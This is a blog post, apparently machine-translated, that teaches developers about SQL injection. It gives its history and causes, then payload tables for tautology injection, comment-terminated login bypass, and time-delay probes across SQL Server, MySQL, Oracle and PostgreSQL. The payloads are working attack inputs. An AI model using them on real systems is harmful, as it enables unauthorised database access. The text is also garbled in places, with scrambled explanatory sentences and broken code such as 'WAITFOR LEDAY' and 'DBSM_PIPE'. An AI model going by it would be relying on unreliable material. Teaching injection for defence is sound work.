Note: this article is too much and will be updated on a regular basis

15:00:00, December 15, 2019

Column catalog

  • preface
  • source
  • The principle of
  • Injection method inventory
    • String is injected inline
    • Numeric values are injected inline
    • Terminating SQL injection
    • Time delay injection

Column details

preface

As a developer, it’s essential to understandSQLStatement, so I read a book on SQL injectionSQL Injection Attack and Defense 2nd Edition by Justin ClarkeAfter that, I want to use a more simple way to let you know and defend SQL injection, so I write this blog post to share with you.

source

SQL(Structured Query Language)Injection is a very damaging vulnerability. SQL injection has been around since SQL databases started connecting to WEB applications. SQL injection was first discovered when SQL databases started connecting to WEB applicationsRain Forest PuppyAnd brought it into the public eye. On Christmas 1998, Rain Forest Puppy wrote an article for Phrack, an electronic magazine started by hackers and aimed at hackersNT Web Technology Vulnerabilities“And published one in 2000How I Hacked PacketStormSQL injection has been in the spotlight ever since SQL injection was used to attack a WEB application.

The principle of

When SQL data query is passed to the back end of the application program, if the attacker is provided with the ability to influence the query, SQL injection will be triggered. At this time, the attacker modifies the syntax and function of SQL itself by affecting the content passed to the database, and affects the function and flexibility of the database and operating system supported by SQL. Any way an untrusted source takes input code to construct a dynamic SQL statement is a high risk for SQL injection attacks. Injection can be accessed by:

  • Dynamically build query SQL statements
    • Improper handling of escape characters: such as Spaces/double bars/commas in Oracle
    • Improper type handling: pass the injection file path or write the Webshell
    • Improper query statement assembly: Multiple query statements have lost their function to query the database
    • Improper error handling: Detailed error information is passed to the requesting client
    • Multiple submissions are handled improperly
  • Improper data configuration

In preventing your data from being injected, it is useful to anticipate and filter input data. Separating permissions in data configuration and configuring or resetting passwords for previously configured users can be better protected. In user configuration, Many application system USES a users already have the SELECT | UPDATE | INSERT | DELETE | the EXECUTE permissions, it will be very dangerous.

Injection method inventory

String is injected inline

If an error message is returned when we inject ‘into an SQL API, then the API is extremely vulnerable to injection risks, such as the user login interface if the following SQL query statement:

SELECT * FROM TableName WHERE username = '{UserName}' AND password = '{PassWord}' ;
Copy the code

When injected ‘, the query statement will be an error syntax and will not be recognized by the server

SELECT * FROM TableName WHERE username = ''' AND password = '' ;
Copy the code

Since ‘is not escaped, we can inject statements like this into the SQL query above:

SELECT * FROM TableName WHERE username = ' ' OR '1' = '1'  AND password = ' ' OR '1' = '1';
Copy the code

For Username, ‘OR ‘1’ = ‘1’; for Password,’ OR ‘1’ = ‘1’; for Username, ‘OR ‘1’ = ‘1’;

Test string Variant SQL statement The expected results
Error syntax, return error message
1′ or ‘1’ = ‘1 1′) or (‘1’ = ‘1 Identity is true, returns all data
value’ or ‘1’ = ‘2 value’) or (‘1’ = ‘ Null condition, returns the same value of data
1′ or ‘ab’ = ‘a’ + ‘b 1′) or (‘ab’ = ‘a’ + ‘b SQL Server character concatenation, return all data
1′ or ‘ab’ = ‘a’ ‘b 1′) or (‘ab’ = ‘a’ ‘b MySQL string concatenation, return all data
1′ or ‘ab’ = ‘a’ || ‘b 1′) or (‘ab’ = ‘a’ || ‘b Oracle character concatenation, return all data
Numeric values are injected inline

UUID is stored in the database as a string. SQL queries such as the following can be used to retrieve the details of the contents of a numeric ID:

SELECT * FROM TableName WHERE id = {ID} ;
Copy the code

When you enter the existing ID, it will return the details of the data under the existing ID. For many details, data will be very useful. According to our existing string inline injection method, we will take the following way to inject the test:

SELECT * FROM TableName WHERE id = 1 or 1 = 1 ;
Copy the code

In the SQL API input 1 or 1 = 1 to achieve the purpose of all data details, in the injection, our simplest injection method is identical to the true condition injection method is the most common and simplest.

Test string Variant SQL statement The expected results
Error syntax, return error message
1 + 1 3-1 Returns data with the same operation result
value + 0 Returns the same data as the original result
1 or 1 = 1 1) or (1 = 1 Identity is true, returns all data
value or 1 = 2 value) or (1 = 2 Null condition, returns the same value of data
1 and 1 = 2 1) and (1 = 2 Identical to false, returns null data
1 or ‘ab’ = ‘a’ + ‘b’ 1) or (‘ab’ = ‘a’ + ‘b’ SQL Server character concatenation, return all data
1 or ‘ab’ = ‘a’ ‘b’ 1) or (‘ab’ = ‘a’ ‘b’ MySQL string concatenation, return all data
1 or ‘ab’ = ‘a’ || ‘b’ 1) or (‘ab’ = ‘a’ || ‘b’ Oracle character concatenation, return all data
Terminating SQL injection

When injecting SQL, we can try to inject SQL with comment syntax:

Database type Annotation syntax describe
SQL Server

Oracle

PostgreSQL
— (double hyphen) Used for single-line comments
/ * * / Used for multi-line comments
MySQL — (double hyphen) Used for single-line comments

Requires the second character to be followed by a space or control character
# Used for single-line comments
/ * * / Used for multi-line comments

For example, in an authentication form, normally enter a valid Username and Password to authenticate the login user. If we use the injection code and terminate the query statement, we can achieve the purpose of injection:

SELECT * FROM TableName WHERE username='admin'/*' AND password='*/' ';
Copy the code

Admin ‘/* and Password */’; SQL = ‘admin’/*’;

SELECT * FROM TableName WHERE username='admin' ' ';
Copy the code

Of course, you don’t have to be limited to the SQL statement in the query. You can also insert the desired injection statement in the update/add/delete operation to achieve the desired result. This always executes multiple SQL statements using the syntax of annotations.

Time delay injection

In most sites, there is no SQL execution error message returned, so it is difficult to confirm whether there is a vulnerability. In this case, we can inject time delay into the database, and check whether the corresponding Server is also delayed state, when executing SQL Server only need to add:

WAITFOR DELAY 'hours:minutes:seconds'
Copy the code

Such as:

SELECT * FROM TableName WHERE id=1314; WAITFOR LEDAY '0:0:5'; -- 
Copy the code

In the same way, you can achieve delayed injection in Oracle PL/SQL by using the following statement:

BEGIN DBMS_LOCK.SLEEP(5); END;
Copy the code

Although dbms_lock. SLEEP() can SLEEP a procedure for a specified number of seconds, this function cannot be injected directly into a subquery and requires a database administrator to use the DBSM_LOCK package, so there are better ways, such as:

SELECT * FROM TableName WHERE id=1314 or 1=DBSM_PIPE.RECEIVE_MESSAGE('RDS', 5)
Copy the code

The dbsm_pipe.receive_message () function will wait 5 seconds for the data returned from the RDS pipe, and by default, allows the package function to be executed under public. In PostgreSQL 8.2 or later, you can use PG_SLEEP() to perform your injection:

SELECT * FROM TableName WHERE id=1314; SELECT pg_sleep(10); --
Copy the code

All of these methods can realize our method of delayed injection to obtain whether the service has injection vulnerability.

Have a nice weekend